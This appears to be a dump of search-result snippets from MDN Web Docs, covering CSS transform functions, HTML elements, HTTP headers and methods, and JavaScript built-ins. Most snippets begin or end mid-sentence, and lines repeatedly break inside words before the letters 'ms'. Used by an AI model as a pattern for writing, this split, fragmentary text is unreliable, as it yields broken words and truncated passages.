r: lightgray; } .rotate { background-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate { background-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate { background-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transfor
ms level 1the definition of 'rotate()' in that specification.
rotate3d() - CSS: Cascading Style Sheets
nd-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg); background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'rotate3d()' in that specification.
rotateX() - CSS: Cascading Style Sheets
1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatex(45deg); background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'rotatex()' in that specification.
rotateY() - CSS: Cascading Style Sheets
cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'rotatey()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatez(45deg); background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'rotatez()' in that specification.
scale() - CSS: Cascading Style Sheets
s separately, and translating the origin html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scale(2, 0.5); /* equal to scalex(2) scaley(0.5) */ transform-origin: left; background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'scale()' in that specification.
scale3d() - CSS: Cascading Style Sheets
the origin of the transformation html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: perspective(500px) scale3d(2, 0.7, 0.2) translatez(100px); transform-origin: left; background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'scale3d()' in that specification.
scaleX() - CSS: Cascading Style Sheets
s0 01 s00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scalex(0.6); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'scalex()' in that specification.
scaleY() - CSS: Cascading Style Sheets
10 0s 1000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px; background-color: skyblue; } .scaled { transform: scaley(0.6); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'scaley()' in that specification.
scaleZ() - CSS: Cascading Style Sheets
{ /* includes a perspective to create a 3d space */ transform: perspective(400px) translatez(-100px); background-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(400px) scalez(2) translatez(-100px); background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'scalez()' in that specification.
skew() - CSS: Cascading Style Sheets
skew(10deg); /* equal to skewx(10deg) */ background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg, 10deg); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'skew()' in that specification.
skewX() - CSS: Cascading Style Sheets
001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */ background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'skewx()' in that specification.
skewY() - CSS: Cascading Style Sheets
n(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skewy(40deg); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px, 10px); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'translate()' in that specification.
translate3d() - CSS: Cascading Style Sheets
; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: perspective(500px) translate3d(10px, 0, 100px); background-color: pink; } result specifications specification status comment css transfor
ms level 2the definition of 'translate3d()' in that specification.
translateX() - CSS: Cascading Style Sheets
mal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */ background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'translatex()' in that specification.
translateY() - CSS: Cascading Style Sheets
[1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatey(10px); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'translatey()' in that specification.
transform-origin - CSS: Cascading Style Sheets
100% -30%; <div class="box10"> </div> .box10 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: skewy(50deg); -webkit-transform: skewy(50deg); transform-origin: 100% -30%; -webkit-transform-origin: 100% -30%; } specifications specification status comment css transfor
ms level 1the definition of 'transform-origin' in that specification.
transition-duration - CSS: Cascading Style Sheets
syntax /* <time> values */ transition-duration: 6s; transition-duration: 120
ms; transition-duration: 1s, 15s; transition-duration: 10s, 30s, 230
ms; /* global values */ transition-duration: inherit; transition-duration: initial; transition-duration: unset; values <time> is a <time> denoting the amount of time the transition from the old value of a property to the new value should take.
transition-timing-function - CSS: Cascading Style Sheets
whether the transition holds temporarily at 0%, 20%, 40%, 60% and 80%, on the 20%, 40%, 60%, 80% and 100%, or makes 5 stops between the 0% and 100% along the transition, or makes 5 stops including the 0% and 100% marks (on the 0%, 25%, 50%, 75%, and 100%) depends on which of the following jump ter
ms is used: jump-start denotes a left-continuous function, so that the first jump happens when the transition begins; jump-end denotes a right-continuous function, so that the last jump happens when the animation ends; jump-none there is no jump on either end.
widows - CSS: Cascading Style Sheets
(the paragraph is continued from a prior page.) syntax values <integer> the minimum number of lines that can stay by the
mselves at the top of a new fragment after a fragmentation break.
width - CSS: Cascading Style Sheets
ercentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples default width p.goldie { background: gold; } <p class="goldie">the mozilla community produces a lot of great software.</p> pixels and e
ms .px_length { width: 200px; background-color: red; color: white; border: 1px solid black; } .em_length { width: 20em; background-color: white; color: red; border: 1px solid black; } <div class="px_length">width measured in px</div> <div class="em_length">width measured in em</div> percentage .percent { width: 20%; background-color: silver; border: 1px solid red; } <d...
Demos of open web technologies
2d graphics canvas blob sallad: an interactive blob using javascript and canvas (code demos) 3d raycaster processing.js p5js 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transfor
ms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source code) video video 3d animation "mozilla constantly evolving" video 3d animation "floating dance" streaming anime, movie trailer and interview billy's browser firefox flick virtual barber shop transformers movie t...
regexp:match() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes regexp:match() perfor
ms regular expression matching on a string, returning the submatches found as a result.
Regular expressions (regexp) - EXSLT
regexp:match()regexp:match() perfor
ms regular expression matching on a string, returning the submatches found as a result.regexp:replace()regexp:replace() replaces the portions of a string that match a given regular expression with the contents of another string.regexp:test()regexp:test() tests to see whether a string matches a specified regular expression.
Guide to Web APIs - Developer guides
stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and strea
msmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistrea
ms ttouch eventsuurl apivvibration ...
Mutation events - Developer guides
mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument do
msubtreemodified mutation observers alternatives examples domnoderemovedfromdocument var isdescendant = function (desc, root) { return !!desc && (desc === root || isdescendant(desc.parentnode, root)); }; var onremove = function (element, callback) { var observer = new mutationobserver(function (mutations) { _.foreach(mutations, function (mutation) { _.foreach(mutatio...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
example <header> <nav aria-labelledby="primary-navigation"> <h2 id="primary-navigation">primary navigation</h2> <!-- navigation ite
ms --> </nav> </header> <!-- page content --> <footer> <nav aria-labelledby="footer-navigation"> <h2 id="footer-navigation">footer navigation</h2> <!-- navigation ite
ms --> </nav> </footer> in this example, screen reading technology would announce that there are two <nav> sections, one called "primary navigation" and one called "footer navigation".
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
tform: " + navigator.platform + "; "; txt+= "user-agent header: " + navigator.useragent + "; "; console.log("navigatorexample", txt); } </pre> </figure> quotations <figure> <figcaption><cite>edsger dijkstra:</cite></figcaption> <blockquote>if debugging is the process of removing software bugs, then programming must be the process of putting them in.</blockquote> </figure> poe
ms <figure> <p style="white-space:pre"> bid me discourse, i will enchant thine ear, or like a fairy trip upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figur...
<hgroup> - HTML: Hypertext Markup Language
so in the abstract outline produced by the html outline algorithm defined in the html specification, the <hgroup> as a whole for
ms a single logical heading, with the entire set of <h1>–<h6> children of the <hgroup> going into the outline as one multi-level unit, to comprise that single logical heading in the abstract outline.
<input type="color"> - HTML: Hypertext Markup Language
value a 7-character do
mstring specifying a <color> in lower-case hexadecimal notation events change and input supported common attributes autocomplete and list idl attributes list and value methods select() value the value of an <input> element of type color is always a do
mstring which contains a 7-character string specifying an rgb color in hexadecimal format.
<label> - HTML: Hypertext Markup Language
don't <label for="tac"> <input id="tac" type="checkbox" name="ter
ms-and-conditions"> i agree to the <a href="ter
ms-and-conditions.html">ter
ms and conditions</a> </label> do <label for="tac"> <input id="tac" type="checkbox" name="ter
ms-and-conditions"> i agree to the ter
ms and conditions </label> <p> <a href="ter
ms-and-conditions.html">read our ter
ms and conditions</a> </p> headings placing heading elements within a <label> interferes with many kinds...
<main> - HTML: Hypertext Markup Language
content that is repeated across a set of documents or document sections such as sidebars, navigation links, copyright information, site logos, and search for
ms shouldn't be included unless the search form is the main function of the page.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
deline 2.1 explanations mdn understanding wcag, guideline 3.1 explanations understanding success criterion 2.2.1 | w3c understanding wcag 2.0 understanding success criterion 2.2.4 | w3c understanding wcag 2.0 understanding success criterion 3.2.5 | w3c understanding wcag 2.0 name the name and content attributes can be used together to provide document metadata in ter
ms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value.
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
<frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it see
ms your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that specification.
data-* - HTML: Hypertext Markup Language
note that the htmlelement.dataset property is a do
mstringmap, and the name of the custom data attribute data-test-value will be accessible via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase.
translate - HTML: Hypertext Markup Language
although not all browsers recognize this attribute, it is respected by automatic translation syste
ms such as google translate, and may also be respected by tools used by human translators.
HTTP authentication - HTTP
firefox once used iso-8859-1, but changed to utf-8 for parity with other browsers and to avoid potential proble
ms as described in bug 1419658.
Resource URLs - HTTP
it is however still necessary for firefox to load resources in web content under certain circu
mstances.
Using HTTP cookies - HTTP
depending on the application, it may be desirable to use an opaque identifier which is looked-up by the server or to investigate alternative authentication/confidentiality mechanis
ms such as json web tokens.
Accept-Charset - HTTP
using content negotiation, the server selects one of the encodings, uses it, and infor
ms the client of its choice within the content-type response header, usually in a charset= parameter.
Accept-Language - HTTP
(by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and infor
ms the client of its choice with the content-language response header.
Accept - HTTP
using content negotiation, the server then selects one of the proposals, uses it and infor
ms the client of its choice with the content-type response header.
Clear-Site-Data - HTTP
this includes storage mechanis
ms such as: localstorage (executes localstorage.clear), sessionstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), service worker registrations (for each service worker registration, execute serviceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flash via npp_clearsitedata).
Connection - HTTP
chrome and firefox ignore them in http/2 responses, but safari confor
ms to the http/2 spec requirements and won’t load any response which contains them.
CSP: script-src - HTTP
however, if you absolutely have to use it, there are a few mechanis
ms that will allow them.
CSP: style-src - HTTP
however, if you absolutely have to use it, there are a few mechanis
ms that will allow them.
CSP: trusted-types - HTTP
syntax content-security-policy: trusted-types; content-security-policy: trusted-types <policyname>; content-security-policy: trusted-types <policyname> <policyname> 'allow-duplicates'; <do
mstring> any string can be a trusted type policy name.
Content-Type - HTTP
examples content-type in html for
ms in a post request, resulting from an html form submission, the content-type of the request is specified by the enctype attribute on the <form> element.
Cross-Origin-Resource-Policy - HTTP
due to a bug in firefox, setting cross-origin-resource-policy can prevent some resources (such as pdfs) from being downloaded in some circu
mstances.
Expect-CT - HTTP
ct requirements can be satisfied via any one of the following mechanis
ms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs.
Expect - HTTP
expect: 100-continue directives 100-continue infor
ms recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a 100 (continue) interim response.
Feature-Policy - HTTP
navigation-override controls the availability of mechanis
ms that enables the page author to take control over the behavior of spatial navigation, or to cancel it outright.
From - HTTP
a crawler), the from header should be sent, so you can be contacted if proble
ms occur on servers, such as if the robot is sending excessive, unwanted, or invalid requests.
Keep-Alive - HTTP
chrome and firefox ignore them in http/2 responses, but safari confor
ms to the http/2 spec requirements and won’t load any response which contains them.
Large-Allocation - HTTP
this page would be loaded in a new process due to a large-allocation header, however large-allocation process creation is disabled on non-win32 platfor
ms.
Strict-Transport-Security - HTTP
the http strict transport security header infor
ms the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead.
Tk - HTTP
examples a tk header for a resource that clai
ms not to be tracking would look like: tk: n specifications specification status comment tracking preference expression (dnt)the definition of 'tk header field' in that specification.
Transfer-Encoding - HTTP
http/2 doesn't support http 1.1's chunked transfer encoding mechanism, as it provides its own, more efficient, mechanis
ms for data streaming.
Upgrade-Insecure-Requests - HTTP
header type request header forbidden header name no syntax upgrade-insecure-requests: 1 examples a client's request signals to the server that it supports the upgrade mechanis
ms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site.
User-Agent - HTTP
examples mozilla/5.0 (iphone; cpu iphone os 13_5_1 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/13.1.1 mobile/15e148 safari/604.1 internet explorer ua string examples mozilla/5.0 (compatible;
msie 9.0; windows phone os 7.5; trident/5.0; iemobile/9.0) crawler and bot ua strings examples googlebot/2.1 (+http://www.google.com/bot.html) specifications specification title rfc 7231, section 5.5.3: user-agent hypertext transfer protocol (http/1.1): semantics and content rfc 2616, section 14.43: user-agent hypertext transfer protocol -- http/1.1 ...
Warning - HTTP
the warning general http header contains information about possible proble
ms with the status of the message.
X-Forwarded-For - HTTP
examples x-forwarded-for: 2001:db8:85a3:8d3:1319:8a2e:370:7348 x-forwarded-for: 203.0.113.195 x-forwarded-for: 203.0.113.195, 70.41.3.18, 150.172.238.178 other non-standard for
ms: # used for some google services x-proxyuser-ip: 203.0.113.19 specifications not part of any current specification.
X-Forwarded-Proto - HTTP
examples x-forwarded-proto: https other non-standard for
ms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-url-scheme: https specifications not part of any current specification.
CONNECT - HTTP
request has body no successful response has body yes safe no idempotent no cacheable no allowed in html for
ms no syntax connect www.example.com:443 http/1.1 example some proxy servers might need authority to create a tunnel.
DELETE - HTTP
request has body may successful response has body may safe no idempotent yes cacheable no allowed in html for
ms no syntax delete /file.html http/1.1 example request delete /file.html http/1.1 responses if a delete method is successfully applied, there are several response status codes possible: a 202 (accepted) status code if the action will likely succeed but has not yet been enacted.
GET - HTTP
request has body no successful response has body yes safe yes idempotent yes cacheable yes allowed in html for
ms yes syntax get /index.html specifications specification title rfc 7231, section 4.3.1: get hypertext transfer protocol (http/1.1): semantics and content ...
HEAD - HTTP
request has body no successful response has body no safe yes idempotent yes cacheable yes allowed in html for
ms no syntax head /index.html specifications specification title rfc 7231, section 4.3.2: head hypertext transfer protocol (http/1.1): semantics and content ...
PATCH - HTTP
request has body yes successful response has body yes safe no idempotent no cacheable no allowed in html for
ms no syntax patch /file.txt http/1.1 example request patch /file.txt http/1.1 host: www.example.com content-type: application/example if-match: "e0023aa4e" content-length: 100 [description of changes] response a successful response is indicated by any 2xx status code.
POST - HTTP
request has body yes successful response has body yes safe no idempotent no cacheable only if freshness information is included allowed in html for
ms yes syntax post /test example a simple form using the default application/x-www-form-urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.example content-type: multipart/form-data;boundary="bound...
PUT - HTTP
request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html for
ms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com content-type: text/html content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (created) response.
Protocol upgrade mechanism - HTTP
in essence, then, this key simply confir
ms that "yes, i really mean to open a websocket connection." this header is automatically added by clients that choose to use it; it cannot be added using the xmlhttprequest.setrequestheader() method.
HTTP resources and specifications - HTTP
posed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning values from for
ms: multipart/form-data proposed standard rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) proposed standard rfc 2183 communicating presentation information in internet messages: the content-disposition header field only a subset of syntax of the content-disposition header can be used in the context of http messages.
402 Payment Required - HTTP
originally it was created to enable digital cash or (micro) payment syste
ms and would indicate that the requested content is not available until the client makes a payment.
408 Request Timeout - HTTP
this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanis
ms to speed up surfing.
511 Network Authentication Required - HTTP
network operators sometimes require some authentication, acceptance of ter
ms, or other user interaction before granting access (for example in an internet café or at an airport).
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
examples deprecated syntax var num = 15; string.replace(num, /5/, '2'); standard syntax var num = 15; string(num).replace(/5/, '2'); shim the following is a shim to provide support to non-supporting browsers: /*globals define*/ // assumes all supplied string instance methods already present // (one may use shi
ms for these if not available) (function() { 'use strict'; var i, // we could also build the array of methods with the following, but the // getownpropertynames() method is non-shimable: // object.getownpropertynames(string).filter(function(methodname) { // return typeof string[methodname] === 'function'; // }); methods = [ 'contains', 'substring', 'tolowercase...
TypeError: Reduce of empty array with no initial value - JavaScript
similarly, the same issue can happen if there is a typo in a selector, or an unexpected number of elements in a list: var names = document.getelementsbyclassname("names"); var name_list = array.prototype.reduce.call(names, (acc, name) => acc + ", " + name); valid cases these proble
ms can be solved in two different ways.
TypeError: "x" is (not) "y" - JavaScript
} if (typeof foo !== 'undefined') { // the same good idea, but don't use this implementation - it can bring proble
ms // because of the confusion between truly undefined and undeclared variables.
Array.prototype.reduce() - JavaScript
ks - list which will contain all friends' books + // additional list contained in initialvalue let allbooks = friends.reduce(function(accumulator, currentvalue) { return [...accumulator, ...currentvalue.books] }, ['alphabet']) // allbooks = [ // 'alphabet', 'bible', 'harry potter', 'war and peace', // 'romeo and juliet', 'the lord of the rings', // 'the shining' // ] remove duplicate ite
ms in an array note: if you are using an environment compatible with set and array.from(), you could use let orderedarray = array.from(new set(myarray)) to get an array where duplicate ite
ms have been removed.
Array.prototype.copyWithin() - JavaScript
] [1, 2, 3, 4, 5].copywithin(0, 3) // [4, 5, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(0, 3, 4) // [4, 2, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(-2, -3, -1) // [1, 2, 3, 3, 4] [].copywithin.call({length: 5, 3: 1}, 0, 3) // {0: 1, 3: 1, length: 5} // es2015 typed arrays are subclasses of array var i32a = new int32array([1, 2, 3, 4, 5]) i32a.copywithin(0, 2) // int32array [3, 4, 5, 4, 5] // on platfor
ms that are not yet es2015 compliant: [].copywithin.call(new int32array([1, 2, 3, 4, 5]), 0, 3, 4); // int32array [4, 2, 3, 4, 5] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.copywithin' in that specification.
Array.prototype.flat() - JavaScript
te that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stack const next = stack.pop(); if(array.isarray(next)) { // push back array ite
ms, won't modify the original input stack.push(...next); } else { res.push(next); } } // reverse to restore input order return res.reverse(); } const arr = [1, 2, [3, 4, [5, 6]]]; flatten(arr); // [1, 2, 3, 4, 5, 6] use generator function function* flatten(array, depth) { if(depth === undefined) { depth = 1; } for(const item of array) { if(arra...
Array.prototype.forEach() - JavaScript
converting a for loop to foreach const ite
ms = ['item1', 'item2', 'item3'] const copyite
ms = [] // before for (let i = 0; i < ite
ms.length; i++) { copyite
ms.push(ite
ms[i]) } // after ite
ms.foreach(function(item){ copyite
ms.push(item) }) printing the contents of an array note: in order to display the content of an array in the console, you can use console.table(), which prints a formatted version of the array.
Array.prototype.lastIndexOf() - JavaScript
math.min(n, len - 1) : len - math.abs(n); k >= 0; k--) { if (k in t && t[k] === searchelement) { return k; } } return -1; }; } again, note that this implementation ai
ms for absolute compatibility with lastindexof in firefox and the spidermonkey javascript engine, including in several cases which are arguably edge cases.
Array.prototype.length - JavaScript
console.log(arr); // [ 1, 2, <3 empty ite
ms> ] arr.foreach(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array.
Array.prototype.map() - JavaScript
in this case, we return all the selected options' values on the screen: let ele
ms = document.queryselectorall('select option:checked') let values = array.prototype.map.call(ele
ms, function(obj) { return obj.value }) an easier way would be the array.from() method.
Array.prototype.slice() - JavaScript
the slice() method returns a shallow copy of a portion of an array into a new array object selected from start to end (end not included) where start and end represent the index of ite
ms in that array.
Array.prototype.splice() - JavaScript
syntax let arrdeletedite
ms = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at which to start changing the array.
BigInt.prototype.toLocaleString() - JavaScript
quest a currency format console.log(bigint.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456.789.123.456.789,00 € // the japanese yen doesn't use a minor unit console.log(bigint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,456,789,123,456,789 // limit to three significant digits console.log(bigint.tolocalestring('en-in', { maximu
msignificantdigits: 3 })); // → 1,23,00,00,00,00,00,00,000 specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.tolocalestring()' in that specification.
Date() constructor - JavaScript
parameters there are four basic for
ms for the date() constructor: no parameters when no parameters are provided, the newly-created date object represents the current date and time as of the time of instantiation.
Date.parse() - JavaScript
when the time zone offset is absent, date-only for
ms are interpreted as a utc time and date-time for
ms are interpreted as local time.
Error - JavaScript
class customerror extends error { constructor(foo = 'bar', ...para
ms) { // pass remaining arguments (including vendor specific ones) to parent constructor super(...para
ms) // maintains proper stack trace for where our error was thrown (only available on v8) if (error.capturestacktrace) { error.capturestacktrace(this, customerror) } this.name = 'customerror' // custom debugging information this.foo = foo this.date = new d...
Generator - JavaScript
the generator object is returned by a generator function and it confor
ms to both the iterable protocol and the iterator protocol.
Intl.DateTimeFormat() constructor - JavaScript
two algorith
ms are available for this negotiation and selected by the formatmatcher property: a fully specified "basic" algorithm and an implementation-dependent "best fit" algorithm.
Intl.NumberFormat - JavaScript
equest a currency format console.log(new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }).format(number)); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(new intl.numberformat('ja-jp', { style: 'currency', currency: 'jpy' }).format(number)); // → ¥123,457 // limit to three significant digits console.log(new intl.numberformat('en-in', { maximu
msignificantdigits: 3 }).format(number)); // → 1,23,000 using style and unit console.log(new intl.numberformat("pt-pt", { style: 'unit', unit: "mile-per-hour" }).format(50)); // → 50 mi/h console.log((16).tolocalestring('en-gb', { style: "unit", unit: "liter", unitdisplay: "long" })); // → 16 litres specifications specification ecmascript inter...
JSON.stringify() - JavaScript
represents lone surrogates using json escape sequences that can be encoded in valid utf-8 or utf-16: json.stringify("\ud800"); // '"\\ud800"' this change should be backwards-compatible as long as you pass the result of json.stringify to apis such as json.parse that will accept any valid json text, because they will treat unicode escapes of lone surrogates as identical to the lone surrogates the
mselves.
Math.E - JavaScript
the math.e property represents the base of natural logarith
ms, e, approximately 2.718.
Math.atan() - JavaScript
examples using math.atan() math.atan(1); // 0.7853981633974483 math.atan(0); // 0 math.atan(-0); // -0 math.atan(infinity); // 1.5707963267948966 math.atan(-infinity); // -1.5707963267948966 // the angle that the line [(0,0);(x,y)] for
ms with the x-axis in a cartesian coordinate system math.atan(y / x); note that you may want to avoid using ±infinity for stylistic reasons.
Math.exp() - JavaScript
the math.exp() function returns ex, where x is the argument, and e is euler's number (also known as napier's constant), the base of the natural logarith
ms.
Math.expm1() - JavaScript
the math.expm1() function returns ex - 1, where x is the argument, and e the base of the natural logarith
ms.
Math.fround() - JavaScript
internally, javascript continues to treat the number as a 64-bit float, it just perfor
ms a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to 0.
Math.log1p() - JavaScript
when you calculate log(1 + x), you should get an answer very close to x, if x is small (that's why these are called 'natural' logarith
ms).
Number.parseInt() - JavaScript
radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral syste
ms) of the string.
Number.prototype.toLocaleString() - JavaScript
var number = 123456.789; // request a currency format console.log(number.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456,79 € // the japanese yen doesn't use a minor unit console.log(number.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,457 // limit to three significant digits console.log(number.tolocalestring('en-in', { maximu
msignificantdigits: 3 })); // → 1,23,000 // use the host default language with options for number formatting var num = 30000.65; console.log(num.tolocalestring(undefined, {minimumfractiondigits: 2, maximumfractiondigits: 2})); // → "30,000.65" where english is the default language, or // → "30.000,65" where german is the default language, or // → "30 000,65" where french is the default lang...
Number.prototype.toPrecision() - JavaScript
og(numobj.toprecision(2)) // logs '5.1' console.log(numobj.toprecision(1)) // logs '5' numobj = 0.000123 console.log(numobj.toprecision()) // logs '0.000123' console.log(numobj.toprecision(5)) // logs '0.00012300' console.log(numobj.toprecision(2)) // logs '0.00012' console.log(numobj.toprecision(1)) // logs '0.0001' // note that exponential notation might be returned in some circu
mstances console.log((1234.5).toprecision(2)) // logs '1.2e+3' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.toprecision' in that specification.
Number - JavaScript
37 is still a number, not a bigint.) number may also be expressed in literal for
ms like 0b101, 0o13, 0x0a.
Object.entries() - JavaScript
polyfill to add compatible object.entries() support in older environments that do not natively support it, you can use any of the following: a demonstration implementation of object.entries in the tc39/proposal-object-values-entries (if you don't need any support for ie); a polyfill in the es-shi
ms/object.entries repositories; or, you can use the simple, ready-to-deploy polyfill listed below: if (!object.entries) { object.entries = function( obj ){ var ownprops = object.keys( obj ), i = ownprops.length, resarray = new array(i); // preallocate the array while (i--) resarray[i] = [ownprops[i], obj[ownprops[i]]]; return resarray; }; } for the above ...
Object.freeze() - JavaScript
if the value of those properties are objects the
mselves, those objects are not frozen and may be the target of property addition, removal or value re-assignment operations.
Object.getOwnPropertyNames() - JavaScript
ite
